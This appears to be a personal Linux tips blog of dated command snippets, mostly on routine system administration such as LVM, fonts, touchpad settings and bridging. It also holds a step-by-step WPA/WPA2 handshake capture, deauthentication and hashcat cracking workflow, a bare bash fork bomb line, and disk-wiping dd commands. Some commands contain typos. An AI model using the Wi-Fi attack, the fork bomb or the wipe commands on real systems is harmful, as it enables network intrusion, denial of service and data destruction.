Sunday, January 18, 2015

Enable touchpad tapping

synclient TapButton1=1 LBCornerButton=2 RBCornerButton=3 MaxTapTime=140 SingleTapTimeout=140 MaxDoubleTapTime=140

#or

/usr/share/X11/xorg.conf.d/50-synaptics.conf

Section "InputClass"
        Identifier "touchpad catchall"
        Driver "synaptics"
        MatchIsTouchpad "on"
        Option "TapButton1" "1"
        Option "RBCornerButton" "3"
EndSection

Install new fonts

# version 1 
cp -v *.ttf ~/.fonts

# version 2 
cp -v *.ttf /usr/share/fonts/truetype/

#finaly 
sudo fc-cache -fv

Wednesday, July 9, 2014

How to change the default file manager in eOS

# current default file manager
xdg-mime query default inode/directory
# set nautilus as a default file manager
xdg-mime default nautilus.desktop inode/directory application/x-gnome-saved-search

Bridging interface

#install utils
apt-get install bridge-utils

#create br0 interface
brctl addbr br0
brctl addif br0 eth0 eth1
ifconfig br0 up

#Show MACs
brctl showmacs br0

/etc/network/interfaces
...
auto br0
iface br0 inet manual
       brigdge_ports eth1 eth2


How to obtain a WPA / WPA2 Handshake (Alfa card) and brute it with oclHashCat

#Increase Wi-Fi TX Power
ifconfig wlan0 down

iw reg ser BO BZ
iwconfig wlan0 txpower 1000mW
ifconfig wlan0 up

#Start mon0 interface

airmon-ng check kill
airmon-ng start wlan0

#Change MAC
ifconfig mon0 down
macchanger -r mon0
ifconfig mon0 up

#List available AP
airodump mon0

#Dump handshake
airodump-ng -w <out.cap> --bssid <BSSID> -c <channel> mon0

#Deauthentication 
aireplay-ng  --deauth 5 -a <BSSID> -c <ClientMAC> wlan0
or
aireplay-ng --deauth 0 -a <BSSID> mon0

#Cracking WPA/WPA2 with oclHashcat
aircrack-ng <out.cap> -J <out.hccap>

Dictionary attack
./cudaHashcat64.bin -m 2500 <out.hccap> <dictionary.txt>
or Brute-Force
./cudaHashcat64.bin -m 2500 -a3 <out.hccap> ?d?d?d?d?d?d?d?d

Wednesday, May 7, 2014

Screen resolution and font size in text mode

vi /etc/defaults/grub
GRUB_GFXMODE=800x600
update-grub2

vi /etc/defaults/console-setup
FONTFACE="Terminus"
FONTSIZE="12x6"
/etc/init.d/console-setup restart

or 
dpkg-reconfigure console-setup

then
/etc/init.d/console-setup restart

VIM Mindmap


Basics of LVM


### Install LVM2
apt-get install lvm2

### Create Linux LVM partitions (8e)
fdisk -l
fdisk sdb
fdisk /dev/sdb
fdisk /dev/sdc
fdisk /dev/sdd

### Physical volume (pv)
pvcreate /dev/sdb1 /dev/sdc1 /dev/sdd1
pvdisplay
pvreduce /dev/sdd1

### Virtual group (vg)
vgcreate VG_FILESERVER /dev/sdb1 /dev/sdc1
vgdisplay
vgscan
vgextend VG_FILESERVER /dev/sdd1
vgreduce VG_FILESERVER /dev/sdd1

### Logical volume (lv)
lvcreate --name DATA --size 5G VG_FILESERVER
lvcreate --name DATA1 --size 5G VG_FILESERVER
lvdisplay
lvrename VG_FILESERVER DATA DATA0
lvscan

### Make file systems
mkfs.ext4 /dev/VG_FILESERVER/DATA0
mkfs.ext4 /dev/VG_FILESERVER/DATA1
df -h
mkdir /mnt/DATA0
mkdir /mnt/DATA1
mount /dev/VG_FILESERVER/DATA0 /mnt/DATA0
mount /dev/VG_FILESERVER/DATA1 /mnt/DATA1
umount /mnt/DATA0
umount /mnt/DATA1

### Extend LV
lvextend -L10G /dev/VG_FILESERVER/DATA0
e2fsck -f /dev/VG_FILESERVER/DATA0
resize2fs /dev/VG_FILESERVER/DATA0
mount /dev/VG_FILESERVER/DATA0

### Shrink LV
resize2fs /dev/VG_FILESERVER/DATA0 1G
lvreduce -L1G /dev/VG_FILESERVER/DATA0

### Add new HDD and remove old
pvcreate /dev/sdd1
vgextend VG_FILESERVER /dev/sdd1
pvmove /dev/sdb1 /dev/sdd1
vgreduce VG_FILESERVER /dev/sdb1
pvremove /dev/sdb1

### Remove HDD
pvmove /dev/sdb1
vgreduce VG_FILESERVER /dev/sdb1
pvremove /dev/sdb1

Friday, September 20, 2013

:(){ :|:& };:

Cross-platform non-ASCII symbols in filenames with TrueCrypt

specify "iocharset=utf8" in Truecrypt for Mount options

Gedit encoding


sudo apt-get install dconf-editor
run dconf-editor
go to /org/gnome/gedit/preferences/encodings/

edit param "auto-detected" to ['UTF-8', 'CURRENT', 'WINDOWS-1251', 'ISO-8859-15', 'UTF-16']

Thursday, September 19, 2013

Encfs-manager


sudo add-apt-repository ppa:gencfsm/ppa
sudo apt-get update
sudo apt-get install gnome-encfs-manager

http://www.libertyzero.com/GEncfsM/
http://www.webupd8.org/2013/05/gnome-encfs-manager-cryptkeeper.html

Block Youtube cache servers


sudo iptables -A INPUT -s 173.194.55.0/24 -j REJECT
sudo iptables -A INPUT -s 206.111.0.0/16 -j REJECT

Generate an XKCD #936 style 4 word password

word=$(shuf -n4 /usr/share/dict/words); for w in ${word[@]}; do w=${w^}; w=${w//\'/}; p+=$w; done; echo $p

How to Turn On Hibernate Feature in Ubuntu 13.04

sudo gedit /var/lib/polkit-1/localauthority/50-local.d/hibernate.pkla

Copy and paste the following code into the file:
[Re-enable Hibernate]
Identity=unix-user:*
Action=org.freedesktop.upower.hibernate
ResultActive=yes

flac2mp3


sudo apt-get install flac
sudo apt-get install lame

for f in *.flac; do flac -cd "$f" | lame -b 320 - "${f%.*}".mp3; done

Tuesday, April 2, 2013

Netcat via ssh-tunnel


Client side:
cat filename.ext | nc -l 4444

Server side:
ssh -f -L 5555:127.0.0.1:4444 user@172.16.0.1 sleep 10
nc 127.0.0.1:4444 | pv -b > filename.ext

Monday, December 10, 2012

Zerofill partition


dd if=/dev/zero/ > /dev/hda
***
dd if=/dev/hda of=/dev/sda
pgrep dd
watch -n 10 kill -USR1 dd_proc_id
***
pv /dev/zero > /dev/hda